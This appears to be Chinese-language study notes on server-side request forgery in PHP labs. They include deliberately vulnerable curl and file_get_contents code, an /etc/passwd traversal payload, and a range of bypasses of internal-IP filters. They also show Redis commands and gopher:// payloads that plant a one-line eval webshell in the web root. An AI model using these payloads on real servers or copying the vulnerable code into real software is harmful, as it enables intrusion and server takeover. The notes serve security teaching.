ssrf ===> server site request forgery 服务器端请求伪造
一、原理
本质上 迫使服务器端访问本无法访问到的资源(内网中的资源)
二、常用函数
1. file_get_contents()
<?php
echo file_get_contents($_GET['url']);
(1) 服务器为kali,通过kali的存在ssrf漏洞的文件访问主机里面的某个文件内容
(2) 在linux 操作系统下 file_get_contents 限制了协议的开始 可以采用传递一个不存在的协议联合相对路径来进行任意文件包含
httpasdasd://../../../../../../../etc/passwd
2. fsockopen 开启一个套接字
套接字相当于服务器,往套接字里面写东西相当于发送请求包
<?php
function GetFile($host, $port, $link)
{
//开启一个套接字,返回的是一个资源类型$fp
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
//往套接字里面写入$out,$out连接起来就是请求包,相当于给服务器发送请求包
fwrite($fp, $out);
$contents = '';
//feof函数是判断是否读取到资源的末尾
while (! feof($fp)) {
//此时的$fp已经是服务器返回的响应包资源了,$contents是获取响应包里面的所以的内容
$contents .= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
$host = $_GET['host'];
$port = $_GET['port'];
$link = $_GET['link'];
echo GetFile($host, $port, $link);
?>
3. curl_init()
curl_setopt()
curl_exec()
curl可以理解为命令行版的浏览器
(1) curl_intit() 初始化一个curl对象,curl对象也是一个资源类型的对象
(2) curl_setopt() 设置curl对象的具体配置选项
CURLOPT_POST true 时会发送 POST 请求
类型为:application/x-www-form-urlencoded
是 HTML 表单提交时最常见的一种。
CURLOPT_URL 需要获取的 URL 地址
也可以在curl_init() 初始化会话的时候。
CURLOPT_RETURNTRANSFER 将执行响应包的内容重定向
(3) curl_exec() 执行
<?php
if (isset($_POST['url'])) {
$link = $_POST['url'];
$curlobj = curl_init(); //初始化一个curl对象
curl_setopt($curlobj, CURLOPT_POST, 0); //设置为0,对应false,以get方式输出
curl_setopt($curlobj, CURLOPT_URL, $link); //想要访问的url的值
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); //将返回内容重定向
$result = curl_exec($curlobj); ///执行,$result返回的是响应包的资源
curl_close($curlobj);
echo $result;
}
三、feof函数
feof函数是判断是否读取到资源的末尾,利用feof函数来读取文件内容
<?php
$fp = fopen('C:\phpstudy_pro\WWW\lesson_ssrf\ssrf_test2.php','r+');
$contents = '';
while(!feof($fp)){
$contents.=fread($fp,1024);
// $contents.=fgets($fp,1024);
// $contents.=fgetc($fp);
// $contents.=stream_get_contents($fp);
}
var_dump($contents);
fclose($fp);
四、利用@符号绕过parse_url限制
1. 题目
<?php
highlight_file(__FILE__);
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;// 检查是否是内网ip
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
?>
2. 解析: 先介绍这个题里面的几个函数
1. parse_url函数
作用: 解析url,给一个url参数,它会以数组的形式返回url相关的值
举例:
$url = 'http://localhost/bihuo.txt';
$url_parse = parse_url($url);
$url_parse的值为一个数组,['scheme'=>'http','host'=>'localhost','path'=>'/bihuo.txt']
返回 协议 主机 路径
2. gethostbyname函数
作用: 给一个主机,返回它的ipv4地址
举例:
$host = 'localhost';
$ip = gethostbyname($host);
此时$ip的值为127.0.0.1
3. ip2long函数
作用: 将ipv4地址转换为长整型
举例:
$ip = '123.13.14.155';
(1) 先转换为十六进制,1B = 8bit,所以十六进制不够位数的,前面补0
123 ===> 十六进制 ===> 0111 1011
13 ===> 十六进制 ===> 1101 ===> 0000 1101
14 ===> 十六进制 ===> 1110 ===> 0000 1110
155 ===> 十六进制 ===> 1001 1011
(2) 将转换后的十六进制按顺序拼接
0111 1011 0000 1101 0000 1110 1001 1011
(3) 将拼接好后的十六进制转换为十进制
十进制: 2064453275
echo ip2long($ip); //结果: 2064453275
4. 位运算 >> 右移
后面跟数字几,往右移几位,舍弃掉移动的,一个ip总共32位
ip2long('127.0.0.0')>>24 // 127
ip2long('10.0.0.0')>>24 // 10
ip2long('172.16.0.0')>>20 // -1343
ip2long('192.168.0.0')>>16 // -16216
3. 不用@符号前:
(1) 当传一个本地的文件的路径时候,bihuo.txt里面内容 ‘flag:bihuo.txt’
(2) parse_url()
(3) gethostbyname()
(4) >> 位运算 此时$ini_ip = ip2long(‘127.0.0.1’) = 2130706433
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;// 检查是否是内网ip
ip2long('127.0.0.0')>>24 ===> 127
ip2long('10.0.0.0')>>24 ===> 10
ip2long('172.16.0.0')>>20 ===> -1343
ip2long('192.168.0.0')>>16 ===> -16216
$int_ip>>24 ===> 127
$int_ip>>20 ===> 2032
$int_ip>>16 ===> 32512
经过四次或运算,第一次 ip2long('127.0.0.0')>>24 == $int_ip>>24 为真
因此,return true;
所以if条件为真,打印 http://www.localhost.com/lesson_ssrf/bihuo.txt is is inner ip
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
4. 用@符号之后:
(1) 当传一个利用@符号的url
http://@127.0.0.1:80@www.baidu.com/lesson_ssrf/bihuo.txt
(2) parse_url(),此时的@127.0.0.1 被当作了用户账号,80被当初密码,主机为www.baidu.com
(3) gethostbyname() 函数获取的主机为www.baidu.com,$ip为ping 百度的ip
(4) >> 位运算 此时$ini_ip = ip2long(‘110.242.68.3’) = 1861370883
ip2long('127.0.0.0')>>24 ===> 127
ip2long('10.0.0.0')>>24 ===> 10
ip2long('172.16.0.0')>>20 ===> -1343
ip2long('192.168.0.0')>>16 ===> -16216
$int_ip>>24 ===> 110
$int_ip>>20 ===> 1775
$int_ip>>16 ===> 28402
四次或运算都为假
return false;
此时if条件为假,进入else里面,进入了curl相关函数带有ssrf漏洞的地方
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
原本传的url为http://@127.0.0.1:80@www.baidu.com/lesson_ssrf/bihuo.txt
curl真正接收的url为http://127.0.0.1:80/lesson_ssrf/bihuo.txt
最后打印出bihuo.txt里面的内容
五、利用ssrf操作redis数据库
1. docker容器内部,查看6379端口,找到redis数据库服务
ps -ef | grep 6379
2. redis 非关系型数据库
先开启redis服务
安装:
apt-get install redis-server
开启:
redis-server
(1)打开redis命令:
redis-cli
(2)设置属性和属性值
set name bihuo
(3)获取属性值
get name
(4)列出所有的属性
keys *
(5)清空
flushall
六、利用redis写入一句话木马
1. redis数据库写入文件内容的命令
config set dir /var/www/html
config set dbfilename bihuo15.php
set content '<?php eval($_POST[12345]);?>'
save
2. 利用抓包无法写入一句话,因为单双引号会引起报错,但是不加引号的话,写不进去内容
3. 因此引入gopher协议联合gopherus工具,通过抓包的形式写入一句话木马
(1) python2 get-pip.py
(2) chmod +x install.sh
(3) ./install.sh
(4) python2 gopherus.py --exploit redis
(5) PHPShell
(6) <?php eval($_POST[12345]);?>
(7) gopher://127.0.0.1:6379/_%2A1%0D%0A%248...... 这一大串经过url解码后发现,写入的一句话默认写入到了shell.php
这一大段话要想抓包使用必须经过在再进行url编码
%67%6f%70%68%65%72%3a......
gopher://127.0.0.1:6379/_*1
七、利用@符号绕过限制
原理: @符号前的网址没有被真正的访问,后面的才会被真正访问
<?php
$address = $_GET["handler"];
preg_match('/^https?\:\/\/www\.baidu\.com/', $address, $match);
if (!$match)exit("只允许访问baidu");
// create curl resource
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $address);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
八、利用句号绕过限制
句号代替点,127.0.0.1===>127。0.0.1
<?php
$address = $_GET["handler"];
preg_match('/local|(127\.0)|192|172/i', $address, $match);
if ($match){
exit("只允许访问baidu");
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $address);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
九、利用本地回环绕过限制
本地回环地址,有的可以使用,有的不行,灵活去运用
127.0.0.1
localhost
127.255.255.254 相当于127.0.0.1
[::1]
http://0:80
127.0.1
127.1
<?php
$address = $_GET["handler"];
preg_match('/local|127\.0|192|172/i', $address, $match);
if ($match){
exit("只允许访问baidu");
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $address);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
十、利用特殊符号绕过限制
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
<?php
$address = $_GET["handler"];
preg_match('/local|127|192|172/i', $address, $match);
if ($match) {
exit("只允许访问baidu");
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $address);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
十一、利用nip.io绕过限制
<?php
$address = $_GET["handler"];
preg_match('/@/i', $address, $match);
if ($match){
exit("只允许访问baidu");
}
preg_match('/^https?:\/\/www\.baidu\.com/', $address, $match);
if (!$match){
exit("只允许访问baidu");
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $address);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
<?php
$address = $_GET["handler"];
preg_match('/@|127|172|192/i', $address, $match);
if ($match){
exit("只允许访问baidu");
}
preg_match('/^https?:\/\/www\.baidu\.com/', $address, $match);
if (!$match){
exit("只允许访问baidu");
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $address);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
十二、使用短链接绕过限制
生成短链接的网址: https://www.985.so/
<?php
$address = $_GET["handler"];
preg_match('/bihuo/i', $address, $match);
if ($match){
exit("不允许访问隐私资源");
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $address);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
十三、利用30x重定向绕过限制
前提:
curl_setopt设置允许重定向
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
重定向代码:
<?php
header("Location:http://192.168.11.188/lesson_ssrf/bihuo.txt");
exit(-1);
?>
也可以30x重定向加短链接混合使用,http://192.168.11.131/redirect.php ===> http://985.so/bz1ub
十四、当使用ping 等函数时 可以对ipv4 地址进行 hex oct dec处理
十五、利用ssrf判断端口是否开放
可以根据返回响应包中的内容的变化来判断端口是否开放
1. 端口开放
(1) 返回内容
(2) 无内容 但是快速返回
2. 端口未开放: 需要经过一定的时间 然后不返回文件内容
<?php
// create curl resource
$ch = curl_init();
// set url
curl_setopt($ch, CURLOPT_URL, $_POST["handler"]);
//return the transfer as a string
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// $output contains the output string
$output = curl_exec($ch);
// close curl resource to free up system resources
curl_close($ch);
echo $output;
?>
十六、ssrf 常见的出现的场景
从URL关键字中寻找:
Share、wap、url、link、src、source、target、u、3g、display、sourceURL、imageURL、domain
归根到底,其实都是跟链接有关联的
十七、如何快速判断是否存在ssrf漏洞
使用dnslog平台(dnslog.cn)快速判断是否存在ssrf漏洞
如果刷新记录,出现结果,证明存在ssrf漏洞